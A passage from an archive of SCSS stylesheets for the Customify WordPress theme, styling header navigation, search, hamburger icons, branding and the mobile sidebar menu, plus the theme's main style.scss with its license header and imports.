    // Top menu item style border top
    &.style-border-top {
        .nav-menu {
            > li {
                > a {
                    .link-before {
                        position: relative;
                        &:before {
                            position: absolute;
                            top: -6px;
                            width: 1px;
                            left: 0px;
                            height: 2px;
                            background-color: transparent;
                            content: "";
                            transition: all .3s ease;
                        }
                    }
                }
                &:hover, &:focus {
                    > a {
                        .link-before {
                            &:before {
                                width: 100%;
                                background-color: currentColor;
                            }
                        }
                    }
                }
                &.current-menu-item, &.current-menu-ancestor {
                    > a {
                        .link-before {
                            &:before {
                                width: 100%;
                                background-color: currentColor;
                            }
                        }
                    }
                }

            }
        }
    } // End style border top

} // End desktop style

/* On Menu Sidebar */
.nav-menu-mobile {

    .menu {
        margin: 0px;
        padding: 0px;
        list-style: none;
        li:first-child > a {
            border-top: none;
        }
        .menu-item a > .link-before .nav-icon-angle {
            display: none;
        }
        li {
            list-style: none;
            position: relative;
            border-bottom: 1px solid transparent;
            &:last-child {
                border: none;
            }
            ul {
                li {
                    &:last-child {
                        //border-bottom: none;
                    }
                }
            }
            &.menu-item-has-children {
                > a {
                    padding-right: 45px !important;
                }
            }
            a {
                display: block;
                padding: 0.55em 1.5em;
                //border-top: 1px solid $light_color_border;
                &:hover, &:focus {
                    background: rgba(0,0,0,0.01);
                }
            }
            .nav-toggle-icon {
                display: block;
                position: absolute;
                top: 0px;
                right: 0px;
                text-align: center;
                vertical-align: middle;
                line-height: 1;
                transition: all .5s ease;
                cursor: pointer;
                padding: 0.88em 0.9em;
                border-left: 1px solid $light_color_border;
                background: transparent;
                &:hover {
                    box-shadow: none;
                }
                .nav-icon-angle {
                    transform: rotate(-135deg) translateY(50%) translateX(50%);
                }
            }
        }

        .sub-menu {
            //display: none;
            //overflow: hidden;
            opacity: 0;
            transition: opacity .5s ease;
            margin: 0px;
            border-top: 1px solid $light_color_border;
            li {
                a {
                    padding-left: 3em;
                }
            }
        }
        .open-sub {
            > a {
                .nav-toggle-icon {
                    i {
                        transform: rotate(45deg);
                    }

                }
            }
            > .sub-menu {
                display: block;
                //max-height: 2000px;
                opacity: 1;
            }
        }
    } // end menu li

} // End mobile menu
header/builder_items/_button.scss000066600000001035151143724600013200 0ustar00/* Button */
.customify-builder-btn {
    padding: ms(-3) ms(0);
    background: $color_secondary;
    color: #FFFFFF;
    border-radius: 2px;
    display: inline-block;
    position: relative;
    text-decoration: none;
    font-size: 0.85em;
    text-transform: uppercase;
    letter-spacing: 0.5px;
    font-weight: 600;
    &:hover {
        box-shadow: inset 0 0 0 120px rgba(0,0,0,0.18);
        color: #ffffff;
    }

    &.is-icon-before i {
        margin-right: 4px;
    }

    &.is-icon-after i {
        margin-left: 5px;
    }
}header/builder_items/_search.scss000066600000007667151143724600013153 0ustar00/* Search */
.builder-item--search_box {
	max-width: 100%;
}
.item--search_icon {
	line-height: 0px;
	cursor: pointer;
}
.search-icon {
	line-height: 0px;
	display: inline-block;
	position: relative;
	box-shadow: none;
	&:hover {
		box-shadow: none;
		color: currentColor;
	}
	svg {
		width: 18px;
		height: 18px;
	}
	.ic-close {
		display: none;
	}
}

.header-search_icon-item {
	position: relative;
	&.active {
		.search-icon {
			.ic-search {
				display: none;
			}
			.ic-close {
				display: inline-block;
			}
		}
	}
	.header-search-modal-wrapper {
		position: absolute;
		top: 100%;
		left: -0.9em;
		height: 0px;
		overflow: hidden;
		display: block;
		margin-top: -1px;
		transition: all 0.2s linear;
		transform: translateY(40px);
	}
	&.search-left {
		.header-search-modal-wrapper {
			left: auto;
			right: -0.9em;
		}
		.header-search-modal {
			&::before {
				left: auto;
				right: 15px;
			}
		}
	}
	&.active {
		.header-search-modal-wrapper {
			height: auto;
			overflow: initial;
			z-index: 26;
			transform: translateY(0);
			// transform: translateY( 0 );
		}
	}
}

// Apply for all search form at header
.header-search-form {
	display: flex;
	margin-bottom: 0px;
	width: 100%;
	max-width: 100%;
	label {
		flex-basis: 100%;
	}

	.search-form-fields{
		border: 1px solid;
		border-color: rgba(127, 127, 127, 0.2);
		box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
		border-radius: 2px;
	}
	.search-field {
		display: block;
		width: 100%;
		border-radius: 2px;
		height: 2.4em;

		&:focus{
			background-color: transparent;
		}
	}
	button.search-submit {
		overflow: hidden;
		box-shadow: none;
		margin-left: -40px;
		background: transparent;
		color: $color_meta;
		line-height: 0px;
		padding: 0px 0.7em;
		min-height: auto;
		&:hover {
			box-shadow: none;
			background-color: transparent;
			color: $color_text;
		}
		svg {
			width: 18px;
			height: 18px;
		}
	}
	input[type="submit"] {
		min-height: auto;
	}
}

.header-search_box-item {
	.header-search-form {
		.search-field {
			border: 0;
			box-shadow:none;
			background-color: transparent;
		}
	}
}

.header-search-modal {
	border: 1px solid $color_border;
	padding: 1.25em;
	background: #fff;
	width: 280px;
	@include for_device(mobile) {
		width: 220px;
	}
	position: relative;
	margin-top: 15px;
	box-shadow: $boxshadow_dropdown;
	label {
		flex-basis: 100%;
	}
	&::before {
		border-top: 1px solid $color_border;
		border-left: 1px solid $color_border;
		background: #fff;
		content: "";
		display: block;
		position: absolute;
		top: -8px;
		left: 15px;
		width: 15px;
		height: 15px;
		transform: rotate(45deg);
		z-index: 27;
	}
}

.woo_bootster_search {
	.header-search_box-item {
		.header-search-form {
			margin-bottom: 0px;
			width: 100%;
			max-width: 100%;
			display: flex;
			border: 1px solid;
			border-color: rgba(127, 127, 127, 0.2);
			box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12) inset;
			border-radius: 2px;
			height: 2.4em;
			line-height: 2.4em;
			overflow: hidden;
			.search-form-fields {
				background-color: transparent;
				min-height: auto;
				-ms-flex-preferred-size: 100%;
				flex-basis: 100%;
				display: flex;
				border-style: none;
				border: none;
				box-shadow:none;
			}
			.search-field {
				border-color: transparent;
				height: auto;
				background-color: transparent;
				border: 0;
				border-style: none;
				box-shadow: none;
				flex: 0 0 auto;
				&:focus {
					background: transparent;
				}
			}
			.search_product_cats {
				height: auto;
				border: 0;
				background-color: transparent;
				flex: 1 1 auto;
				width: auto;
				padding-right: 2em;
				position: relative;
				border-right: 1px solid rgba(127, 127, 127, 0.2);
				color: #6d6d6d;
				border-top: 0 !important;
				border-left: 0 !important;
				border-bottom: 0 !important;
			}
		}
	}
}
header/builder_items/_nav_icon.scss000066600000013616151143724600013471 0ustar00/* Nav Icon */
.menu-mobile-toggle {
    cursor: pointer;
    text-align: center;
    //padding: 2px 5px;
    background: transparent;
    //color: inherit;
    box-shadow: none;
    color: currentColor;
    transition: transform .3s, border .3s, background .3s, box-shadow .3s, opacity .3s, color .3s;
    &:hover {
        box-shadow: none;
        background: transparent;
    }
}
.nav-icon--label {
    background: none !important;
    text-transform: uppercase;
    font-size: 0.85em;
}

$nav_icon_sizes: (
    small: (
        width: 19px,
        height: 2px,
        top: -6px,
        bottom: -6px
    ),
    medium: (
        width: 22px,
        height: 2px,
        top: -7px,
        bottom: -7px
    ),
    large: (
        width: 31px,
        height: 3px,
        top: -9px,
        bottom: -9px
    ),
) !default;

$hamburger-layer-border-radius             : 0px !default;
$hamburger-hover-opacity                   : 0.7 !default;
$hamburger-hover-transition-duration       : 0.15s !default;
$hamburger-layer-color                     : currentcolor;
$hamburger-hover-transition-timing-function: linear !default;

// To use CSS filters as the hover effect instead of opacity,
// set $hamburger-hover-use-filter as true and
// change the value of $hamburger-hover-filter accordingly.
$hamburger-hover-use-filter: false !default;
$hamburger-hover-filter    : opacity(50%) !default;

// Hamburger
// ==================================================
.hamburger {
    padding: 0;
    display: inline-block;
    cursor: pointer;
    transition-property: opacity, filter;
    transition-duration: $hamburger-hover-transition-duration;
    transition-timing-function: $hamburger-hover-transition-timing-function;

    // Normalize (<button>)
    font: inherit;
    color: inherit;
    text-transform: none;
    background-color: transparent;
    border: 0;
    margin: 0;
    overflow: visible;

}

.hamburger-box {
    //width: $hamburger-layer-width;
    //height: $hamburger-layer-height * 3 + $hamburger-layer-spacing * 2;
    display: inline-block;
    position: relative;
    vertical-align: middle;
}

.hamburger-inner {
    display: block;
    top: 50%;
    background-color: currentcolor;
    //margin-top: $hamburger-layer-height / -2;

    &,
    &::before,
    &::after {
        //width: $hamburger-layer-width;
       // height: $hamburger-layer-height;

        border-radius: $hamburger-layer-border-radius;
        position: absolute;
        transition-property: transform;
        transition-duration: 0.15s;
        transition-timing-function: ease;
    }

    &::before,
    &::after {
        content: "";
        display: block;
        background-color: inherit;
    }
}

@mixin nav_icon_size(){
    @each $key, $settings in $nav_icon_sizes {
        .is-size-#{$key} {
            .hamburger {
                .hamburger-box {
                    margin-top: - 2px;
                    width: map-get($settings, width);
                }
                .hamburger-inner {
                    margin-top: map-get($settings, height) / -2;
                    &,
                    &::before,
                    &::after {
                        width: map-get($settings, width);
                        height: map-get($settings, height);
                    }
                    &::before {
                        top:  map-get($settings, top);
                    }

                    &::after {
                        bottom: map-get($settings, bottom);
                    }
                }
            }
        }
    }

    @each $mq-key, $mq-value in $gl-devices-list {
        @media #{$mq-value} {
            @each $key, $settings in $nav_icon_sizes {
                .is-size-#{$mq-key}-#{$key} {
                    .hamburger {
                        .hamburger-box {
                            margin-top: - 2px;
                            width: map-get($settings, width);
                        }
                        .hamburger-inner {
                            margin-top: map-get($settings, height) / -2;
                            &,
                            &::before,
                            &::after {
                                width: map-get($settings, width);
                                height: map-get($settings, height);
                            }
                            &::before {
                                top:  map-get($settings, top);
                            }

                            &::after {
                                bottom: map-get($settings, bottom);
                            }
                        }
                    }
                }
            }
        }
    }

}

@include nav_icon_size();

/*
* Squeeze
*/
.hamburger--squeeze {
    .hamburger-inner {
        transition-duration: 0.075s;
        transition-timing-function: cubic-bezier(0.55, 0.055, 0.675, 0.19);

        &::before {
            transition: top 0.075s 0.12s ease,
            opacity 0.075s ease;
        }

        &::after {
            transition: bottom 0.075s 0.12s ease,
            transform 0.075s cubic-bezier(0.55, 0.055, 0.675, 0.19);
        }
    }

    &.is-active {
        .hamburger-inner {
            transform: rotate(45deg);
            transition-delay: 0.12s;
            transition-timing-function: cubic-bezier(0.215, 0.61, 0.355, 1);

            &::before {
                top: 0;
                opacity: 0;
                transition: top 0.075s ease,
                opacity 0.075s 0.12s ease;
            }

            &::after {
                bottom: 0;
                transform: rotate(-90deg);
                transition: bottom 0.075s ease,
                transform 0.075s 0.12s cubic-bezier(0.215, 0.61, 0.355, 1);
            }
        }
    }
}header/builder_items/_logo_site_identity.scss000066600000003120151143724600015557 0ustar00/* Logo & Site Identity */
.site-branding {
    display: flex;
    line-height: .9;
    vertical-align: middle;
    a {
        display: inline-block;
        text-transform: uppercase;
        letter-spacing: 0.4px;
        font-weight: 600;
    }

    img {
        display: block;
        width: auto;
        line-height: 1;
    }
    .site-title {
        font-size: 1.5em;
        margin: 0;
        font-weight: 600;
        line-height: 1.216;
    }
    .site-description {
        margin: 5px 0px 7px 0px;
    }
    &.logo-left {
        .logo-link {
            display: flex;
            flex-direction: column;
            justify-content: center;
        }
        .site-name-desc {
            margin-left: 7px;
            display: flex;
            flex-direction: column;
            justify-content: center;
        }
    }
    &.logo-right {
        flex-direction: row-reverse;
        .logo-link {
            display: flex;
            flex-direction: column;
            justify-content: center;
        }
        .site-name-desc {
            margin-right: 7px;
            display: flex;
            flex-direction: column;
            justify-content: center;
        }
    }
    &.logo-top{
        flex-direction: column;
        .site-name-desc {
            //margin-bottom: 7px;
        }
    }
    &.logo-bottom{
        flex-direction: column-reverse;
        .site-name-desc {
            margin-top: 7px;
        }
    }
}
.item-button {
    display: inline-block;
}

.site-header {
    .cb-row--mobile {
        .site-branding img {
            max-width: 100%;
        }
    }
}
header/_header_builder_common.scss000066600000012506151143724600013351 0ustar00/* Header Builder Common */

.site-header {
	position: relative;
	z-index: 10;
	.customify-container {
		display: flex;
		flex-direction: column;
		justify-content: center;
	}
}

.builder-item {
	.item--inner {
		display: inline-block;
		vertical-align: middle;
	}
	&.builder-item--group {
		.item--inner {
			margin-right: ($gl-gutter/2);
			@include for_device(tablet) {
				margin-right: 1em;
			}
			@include for_device(mobile) {
				margin-right: 0.4em;
			}
			&:last-child {
				margin-right: 0px;
			}
		}
	}
}

//.customify-grid {
//    &.cb-row--desktop {
//        margin: 0 -0.5em;
//        > [class*="customify-col-"] {
//            padding-left: 0.5em;
//            padding-right: 0.5em;
//        }
//    }
//}

.layout-fullwidth {
	.customify-container {
		max-width: initial;
	}
}

.header--row {
	.customify-grid {
		@include for_device(desktop) {
			margin: 0 -0.5em;
			[class~="customify-col-"],
			[class*="customify-col-"],
			[class*="customify-col_"] {
				padding-left: 0.5em;
				padding-right: 0.5em;
			}
		}
	}

	.customify-grid {
	}
	&.layout-full-contained {
		.customify-container {
			background: transparent !important;
		}
	}
	&.layout-full-contained,
	&.layout-fullwidth {
		.customify-container {
			border: 0 none !important;
			box-shadow: none !important;
		}
	}
	@include for_device(desktop) {
		&.layout-contained {
			background: transparent !important;
			border: 0 none;
			box-shadow: none !important;
			.customify-container {
			}
		}
	}
	&.layout-fullwidth {
		.customify-container {
			box-shadow: none !important;
		}
	}
}

// Titlebar
.page-titlebar {
	padding: 21px 0px 22px;
	border-bottom: 1px solid $color_border;
	word-break: break-word;
	background: #f9f9f9;
	@include for_device(tablet) {
		padding: 19px 0px 20px;
	}
	@include for_device(mobile) {
		padding: 18px 0px 20px;
	}
	.page-titlebar-inner {
		width: 100%;
	}
	.titlebar-title {
		margin-bottom: 0px;
	}
	.titlebar-tagline {
		margin-top: 5px;
		font-size: ms(-1);
	}
}

// Breadcrumbs
.page-breadcrumb {
	padding: 9px 0px 9px;
	border-bottom: 1px solid $color_border;
	color: $color_meta;
	line-height: 1.6;
	background: #fff;
	.page-breadcrumb-inner {
		width: 100%;
	}
}
.page-breadcrumb-list {
	list-style: none;
	margin: 0px 1em;
	padding: 0px;
	li {
		display: inline-block;
		position: relative;
		padding-right: 10px;
		&:after {
			border-top: 1px solid currentColor;
			border-left: 1px solid currentColor;
			content: "";
			width: 5px;
			height: 5px;
			display: inline-block;
			transform: rotate(135deg);
			left: auto;
			position: relative;
			top: -1px;
		}

		&:last-child {
			&:after {
				display: none;
			}
		}
		a {
			font-weight: 500;
			margin-right: 10px;
		}
	}
}
.page-titlebar,
.page-cover {
	.customize-partial-edit-shortcut button {
		left: 0px;
	}
	.page-breadcrumb-inner {
		padding-left: 0;
		padding-right: 0;
	}
	.page-breadcrumb {
		border-bottom: none;
		padding-bottom: 0px;
		background: transparent;
	}
}

// Header Cover
.page-cover {
	position: relative;
	-webkit-background-size: cover;
	-moz-background-size: cover;
	-o-background-size: cover;
	background-size: cover;
	background-position: center;
	display: flex;
	flex-direction: column;
	justify-content: center;
	&:before {
		position: absolute;
		content: "";
		background-color: rgba(0, 0, 0, 0.3);
		top: 0px;
		left: 0px;
		width: 100%;
		height: 100%;
		display: block;
		z-index: 1;
	}
	.page-cover-inner {
		width: 100%;
		display: flex;
		flex-direction: column;
		justify-content: center;
		z-index: 5;
		padding: 1em 30px;
		@include for_device(desktop) {
			min-height: 300px;
		}
		@include for_device(tablet) {
			min-height: 250px;
			padding: 1em 15px;
		}
		@include for_device(mobile) {
			min-height: 200px;
		}
	}
	.page-breadcrumb-list {
		color: rgba(255, 255, 255, 0.8);
		a,
		li:after {
			color: inherit;
		}

		a:hover {
			color: rgba(255, 255, 255, 0.8);
		}
	}
}
.page-cover-title {
	margin-bottom: 0.5em;
}
.page-cover-tagline {
	margin-bottom: 1.2em;
}
.page-cover-title,
.page-cover-tagline {
	display: inline-block;
	position: relative;
	color: rgba(255, 255, 255, 0.99);
	z-index: 5;
	p {
		&:last-child {
			margin-bottom: 0px;
		}
	}
}

/* Customizer Shortcut */
#masthead,
#header-menu-sidebar {
	.customize-partial-edit-shortcut {
		display: none;
	}
}
#masthead {
	> .customize-partial-edit-shortcut {
		&.customize-partial-edit-shortcut-header_builder_panel {
			display: none;
		}
		button {
			left: 0px;
		}
	}
}

/* Layout Builder V2 */
.row-v2 {
	display: flex !important;
	flex-flow: row nowrap;
	justify-content: space-between;
	align-items: center;
	width: 100%;
	height: 100%;
	.item--inner {
		display: inline-flex;
		align-items: center;
		margin-left: 0.5em;
		margin-right: 0.5em;
	}
	.col-v2 {
		display: flex;
		&.col-v2-center {
			justify-content: center;
			margin-left: 1em;
			margin-right: 1em;
		}
		&.col-v2-left {
			justify-content: flex-start;
			margin-right: auto;
			flex: 1 1 0;
		}
		&.col-v2-right {
			margin-left: auto;
			justify-content: flex-end;
			flex: 1 1 0;
		}
	}

	&.no-left.no-right {
		.col-v2 {
			&.col-v2-center {
				flex-basis: 100%;
			}
		}
	}

	&.no-center {
		.col-v2 {
			&.col-v2-left {
				flex: auto;
			}
			&.col-v2-right {
				flex: auto;
			}
		}
	}
}

#masthead {
	> .customize-partial-edit-shortcut {
		&.customize-partial-edit-shortcut-header_builder_panel {
			display: none;
		}
		button {
			left: 0px;
		}
	}
}
header/_header_top.scss000066600000000464151143724600011155 0ustar00.header-top {
    padding: 0;
    text-size-adjust: 100%;
    line-height: 13px;
    .customify-grid .item--html{
        font-size: 15px;
    }
    .item--html {
        line-height: 1.3;
    }
    .light-mode {
        background: #f0f0f0;
    }
    .dark-mode {
        background: $color_primary;
    }
}header/_header.scss000066600000001227151143724600010271 0ustar00@import "header_top";
@import "header_main";
@import "header_bottom";
@import "header_builder_common";

// Import header builder items.
@import "builder_items/button";
@import "builder_items/html_1";
@import "builder_items/logo_site_identity";
@import "builder_items/navigation";
@import "builder_items/search";
@import "builder_items/social_icons";
@import "builder_items/nav_icon";

@import "header_mobile_sidebar";

.cb-row--mobile {
    padding: 0 0.5em 0;
    [class~="customify-col"], [class*="customify-col-"], [class*="customify-col_"] {
        padding: 0 0.5em 0;
    }
}

.header-v2 {
	.cb-row--mobile {
		padding-left: 1em;
		padding-right: 1em;
	}
}
header/_header_bottom.scss000066600000000401151143724600011646 0ustar00.header-bottom {
    padding: 0px;
    border-left: none;
    border-right: none;
    //background: #f0f0f0;
    .light-mode {
        background: #f0f0f0;
        box-shadow: 0 1px 2px 0 #e1e5ea;
    }
    .dark-mode {
        background: #303030;
    }
 }header/_header_mobile_sidebar.scss000066600000027311151143724600013313 0ustar00/* Header mobile sidebar */

$menu_sidebar_width: 360px;
$menu_sidebar_active_z_index: 999900;
$menu_sidebar_content_max_width: 48em;
$menu_sidebar_content_gutter: 1.5em;
$menu_sidebar_boxshadow: 0px 0px 10px 0px rgba(0,0,0,0.4);

/* - General */
.body-y-hidden {
    overflow: hidden !important;
}
#page {
    transition: transform .7s ease;
}

body {
    &:before {
        transition: all .5s linear;
        position: fixed;
        top: 0px;
        right: 0px;
        left: 0px;
        bottom: 0px;
        z-index: -1;
        content: " ";
        background: rgba( 0, 0, 0, .5 );
        visibility: hidden;
        opacity: 0;
    }
    &.menu_sidebar_dropdown {
        &:before {
            display: none;
        }
    }
}

.header-menu-sidebar {
    padding: 0;
    position: fixed;
    width: 100%;
    max-width: 100%;
    top: 0;
    z-index: $menu_sidebar_active_z_index;
    visibility: hidden;

    .builder-item-sidebar {
        padding: 1.4em 1.5em;
        border-bottom: 1px solid transparent;
        &:last-of-type {
            border-bottom: none;
        }
        &.mobile-item--primary-menu, &.mobile-item--secondary-menu, &.mobile-item--menu {
            padding: 0px;
        }
    }
    .nav-menu-mobile .nav-toggle-icon {
        color: currentColor;
        &:hover, &:focus {
            background: rgba(0,0,0,0.01);
        }
    }

    // Light mode
    &.light-mode {
        .sub-menu a,
        .cart-item-link,
        .item--html a,
        .nav-menu a {
            color: $dark_color_link;
            &:hover {
                color: $dark_color_link_hover;
            }
        }
        .cart-icon {
            color: $dark_color_link_hover;
        }
        //a:not(.customify-btn) {
        //    color: $dark_color;
        //    &:hover {
        //        color: $dark_color_link_hover;
        //    }
        //}
        .builder-item-sidebar {
            border-color: $dark_color_border;
            &:before {
                background: $dark_color_border;
            }
        }
        .header-menu-sidebar-bg {
            &:before {
                background: $light_bg;
            }
        }
        .nav-menu-mobile .menu li a, .sub-menu, .nav-menu-mobile .nav-toggle-icon { border-color: $dark_color_border }
        .nav-menu-mobile .nav-toggle-icon {
            &:hover, &:focus {
                background: rgba(0,0,0,0.01);
            }
        }
        .menu {
            li {
                border-color: $dark_color_border;
            }
        }
    }

    // Dark mode
    &.dark-mode {
        .sub-menu a,
        .cart-item-link,
        .item--html a,
        .nav-menu a, .nav-menu .nav-toggle-icon {
            color: $light_color_link;
            &:hover {
                color: $light_color_link_hover;
            }
        }
        .cart-icon {
            color: $light_color_link_hover;
        }
        .builder-item-sidebar {
            border-color: $light_color_border;
            &:before {
                background: $light_color_border;
            }
        }
        .header-menu-sidebar-bg {
            &:before {
                background: $dark_bg;
            }
        }
        .nav-menu-mobile .menu li a, .sub-menu, .nav-menu-mobile .nav-toggle-icon { border-color: $light_color_border }
        .nav-menu-mobile .nav-toggle-icon {
            &:hover, &:focus {
                background: rgba(0,0,0,0.01);
            }
        }
        .menu {
            li {
                border-color: $light_color_border;
            }
        }
    }
}


.header-menu-sidebar-bg {
    position: relative;
    word-wrap: break-word;
    min-height: 100%;
    display: block;
    &:before {
        content: "";
        position: absolute;
        top: 0; bottom: 0; left: 0; right: 0;
        display: block;
        min-height: 100%;
    }
}
.header-menu-sidebar-inner {
    position: relative;
    word-wrap: break-word;
    min-height: 100%;
    display: block;
    padding: 1.2em 0;
}

/* Type : Overlay */
.menu_sidebar_slide_overlay {
    .header-menu-sidebar {
        box-shadow: none;
        transition: all .5s linear;
        z-index: 0;
        opacity: 0;
        top: 0px;
        width: 100%;
        right: 0px;
        bottom: 0px;
    }

    .builder-item-sidebar {
        text-align: center;
        padding: 2em 1.5em;
        border: none;
        position: relative;
        &:before {
            content: "";
            width: 8%;
            height: 2px;
            display: block;
            background: $light_color_border;
            position: absolute;
            bottom: 0px;
            left: 46%;
            @include mq(max-md) {
                width: 16%;
                left: 42%;
            }
        }
        &:last-child {
            &:before {
                content: none;
            }
        }
        &[class*="-menu"] {
            padding: 2.5em 1.5em;
        }
    }

    // Menu style
    .nav-menu-mobile {
        .menu {
            li {
                a {
                    border: none;
                    font-size: 140%;
                    text-transform: uppercase;
                    font-weight: 500;
                    .nav-toggle-icon {
                        display: inline-block;
                        position: relative;
                        border: 0px none;
                        margin-right: -1.3em;
                        top: -2px;
                        padding: 0.28em 0.5em;
                    }
                }
            }
        }
        .sub-menu {
            border: none;
            li {
                a {
                    text-transform: none;
                    padding: 0.35em 1.5em;
                    font-size: 100%;
                }
            }
        }
    }

    .header-menu-sidebar-bg {
        position: absolute;
        top: 0px; left: 0px; width: 100%;
    }
    .header-menu-sidebar-inner {
        max-width: $menu_sidebar_content_max_width;
        margin: ( $menu_sidebar_content_gutter * 2) auto;
        padding: 0;
    }
    .dark-mode {
        .header-menu-sidebar-bg {
            &:before {
                background: $dark_bg;
            }
        }
    }
    .light-mode {
        &.close-sidebar-panel {
            .hamburger-inner {
                background: $dark_color;
                &:before, &::after {
                    background: inherit;
                }
            }
            &:hover {
                .hamburger-inner {
                    background: $dark_color_link_hover;
                }
            }
        }
    }
}

/* Type: Slide from left */
.menu_sidebar_slide_left {
    .header-menu-sidebar {
        box-shadow: $menu_sidebar_boxshadow;
        width: $menu_sidebar_width;
        left: 0;
        transform: translate3d( - 100% ,0,0);
        transition: transform .5s cubic-bezier(.79,.14,.15,.86);
        @include mq( max-xs ) {
            width: auto;
            right: 45px;
        }
    }
}

/* Type: Slide from right */
.menu_sidebar_slide_right {
    .header-menu-sidebar {
        box-shadow: $menu_sidebar_boxshadow;
        transition: transform .5s cubic-bezier(.79,.14,.15,.86);
        transform: translate3d( 200%,0,0);
        width: $menu_sidebar_width;
        right: 0;
        @include mq( max-xs ) {
            width: auto;
            left: 45px;
        }
    }
}

/* Type: Toggle dropdown */
.menu_sidebar_dropdown {
    .header-menu-sidebar {
        position: relative;
        ///transition: all .5s linear;
        height: 0px;
        display: block;
        visibility: visible;
        z-index: $menu_sidebar_active_z_index;
        overflow: hidden;
    }

    .header-menu-sidebar-inner {
        max-width: $menu_sidebar_content_max_width;
        margin: 0 auto;
    }
    .header-menu-sidebar-bg {
        &:before {
            box-shadow: inset 0px 0px 12px 0px rgba(0,0,0,0.05);
        }
    }
}

/* Hiding Menu Sidebar animation. */
.hiding-header-menu-sidebar {
    overflow-x: hidden;
    position: relative;
    width: 100%;
    display: block;
    &.menu_sidebar_slide_overlay {
        .header-menu-sidebar {
            z-index: 0;
            opacity: 0;
            height: 100%;
        }
    }
    &.menu_sidebar_slide_left{
        .header-menu-sidebar {
            height: 100%;
            transform: translateX(-100%);
            transition: transform .5s cubic-bezier(.79, .14, .15, .86);
        }
    }
    //left: 0;
    .header-menu-sidebar {
        visibility: visible;
    }

    &.menu_sidebar_slide_right {
        .header-menu-sidebar {
            transform: translateX(200%);
            height: 100%;
        }
    }
}

/* Showing Menu Sidebar animation. */
.is-menu-sidebar, .is-mobile-form-panel {
    //overflow: hidden;
    overflow-x: hidden;
    #wpadminbar {
        // display: none;
    }
    #page {
        // position: fixed;
        // transform: scale3d(.9,.9,.9);
        // box-shadow: 0 0 46px #000;
    }
}

.is-menu-sidebar {
    //overflow: hidden;
    .header-menu-sidebar {
        overflow: auto;
    }
    &.menu_sidebar_slide_overlay {
        overflow: initial;
        position: relative;
        width: 100%;
        display: block;
        .header-menu-sidebar {
            z-index: $menu_sidebar_active_z_index;
            opacity: 1;
            visibility: visible;
        }
        .menu-mobile-toggle {
            opacity: 0;
        }
    }
    &.menu_sidebar_slide_left {
        overflow: initial;
        position: relative;
        width: 100%;
        display: block;
        .header-menu-sidebar {
            z-index: $menu_sidebar_active_z_index;
            height: 100vh;
            transform: translate3d(0, 0, 0);
            left: 0;
            visibility: visible;
        }
        .menu-mobile-toggle {
            opacity: 0;
        }
    }
    &.menu_sidebar_slide_right {
        overflow: initial;
        position: relative;
        width: 100%;
        display: block;
        .header-menu-sidebar {
            z-index: $menu_sidebar_active_z_index;
            height: 100vh;
            max-width: 100vw;
            transform: translate3d(0, 0, 0);
            right: 0;
            visibility: visible;
        }
        .menu-mobile-toggle {
            opacity: 0;
        }
    }
    &.menu_sidebar_dropdown {
        //overflow: hidden;
        .header-menu-sidebar {
            z-index: 10;
            //height: auto;
            visibility: visible;
        }
    }
}


/* Close Button */
$close_size: 35px;
.close-sidebar-panel {
    display: none;
    z-index: $menu_sidebar_active_z_index + 10;
    cursor: pointer;
    position: fixed;
    top: 10px;
    right: 12px;
    .hamburger-inner {
        background: $light_color;
        &:before, &::after {
            background: inherit;
        }
    }
    &:hover {
        .hamburger-inner {
            background: $light_color_link_hover;
        }
    }
}
.menu_sidebar_slide_right {
    .close-sidebar-panel {
        top: 10px;
        right: auto;
        left: 12px;
    }
}

.menu_sidebar_dropdown {
    .close-sidebar-panel {
        display: none !important;
    }
}

.is-menu-sidebar, .is-mobile-form-panel {
    //transform-origin: 35px 50px 0;
    //box-shadow: 0 0 46px #000;
    &:before {
        z-index: $menu_sidebar_active_z_index - 3;
        visibility: visible;
        opacity: 1;
    }
    .close-sidebar-panel {
        display: inline-block;
    }
}

/* - Item showing animation  */
.header-menu-sidebar {
    .item--inner {
        transition: transform .3s, opacity .3s;
        transform: translateY(45px);
        opacity: 0;
        //transition-delay: .2s;
    }
}
.is-menu-sidebar, .is-mobile-form-panel {
    .header-menu-sidebar {
        .item--inner {
            opacity: 1;
            transform: translateY(0);
        }
    }
}
.mobile-item--search_box{
	.search-form-fields{
		width: 100%;
	}
}style.scss000066600000005072151143724600006614 0ustar00/*!	
Theme Name: Customify	
Theme URI: https://pressmaximum.com/customify	
Author: WPCustomify	
Author URI: https://pressmaximum.com	
Description: Customify is fast, lightweight, responsive and super flexible multipurpose theme built with SEO, speed, and usability in mind. Unleash the power of your imagination with a true WYSIWYG Header & Footer builder (inside the WordPress Customizer) built exclusively for this theme. The theme works great with any of your favorite page builder likes Elementor, Beaver Builder, SiteOrigin, Thrive Architect, Divi, Visual Composer, etc. Combined with the Header & Footer builder, you can build any type of websites like shop, business agencies, corporate, portfolio, education, university portal, consulting, church, restaurant, medical and so on. Customify is compatible with all well-coded plugins, including major ones like WooCommerce, OrbitFox, Yoast, BuddyPress, bbPress, etc. Learn more about the theme and ready to import demo sites at https://pressmaximum.com/customify	
Version: 0.3.3	
License: GNU General Public License v2 or later	
License URI: http://www.gnu.org/licenses/gpl-2.0.html	
Text Domain: customify	
Domain Path: /languages	
Tags: custom-background, custom-logo, custom-menu, featured-images, flexible-header, footer-widgets, full-width-template, sticky-post, theme-options, threaded-comments, translation-ready, one-column, two-columns, three-columns, left-sidebar, right-sidebar, e-commerce, blog	
 This theme, like WordPress, is licensed under the GPL.	
Use it to make something cool, have fun, and share what you've learned with others.	
 Customify is based on Underscores http://underscores.me/, (C) 2012-2016 Automattic, Inc.	
Underscores is distributed under the terms of the GNU GPL v2 or later.	
 Normalizing styles have been helped along thanks to the fine work of	
Nicolas Gallagher and Jonathan Neal http://necolas.github.io/normalize.css/	
 ======	
Note: Do not edit this file. If you wish to add your own CSS we strongly recommend creating your own child theme, or installing a custom CSS plugin.	
======	
*/	
 // == SASS Mixins & Variables ==	
 @import "utils/mixins";	
 @import "utils/vars";	
  // == Vendors Libraries ==	
 @import "vendors/vendors";	
  // == Site base ==	
 @import "base/base";	
 @import "base/comments";	
 @import "base/skins";	
 @import "base/blocks";	
  // == Site header ==	
 @import "header/header";	
  // == Site structure ==	
 @import "layouts/layouts";	
 @import "layouts/blogs";	
 @import "layouts/pages";	
  // == Widgets ==	
 @import "widgets/widgets";	
  // == Site footer ==	
 @import "footer/footer-common";vendors/gridlex/_gridlex-vars.scss000066600000020106151143724600013333 0ustar00//************************
//    VARIABLES
//************************
$gl-gridName:           customify-grid !default;
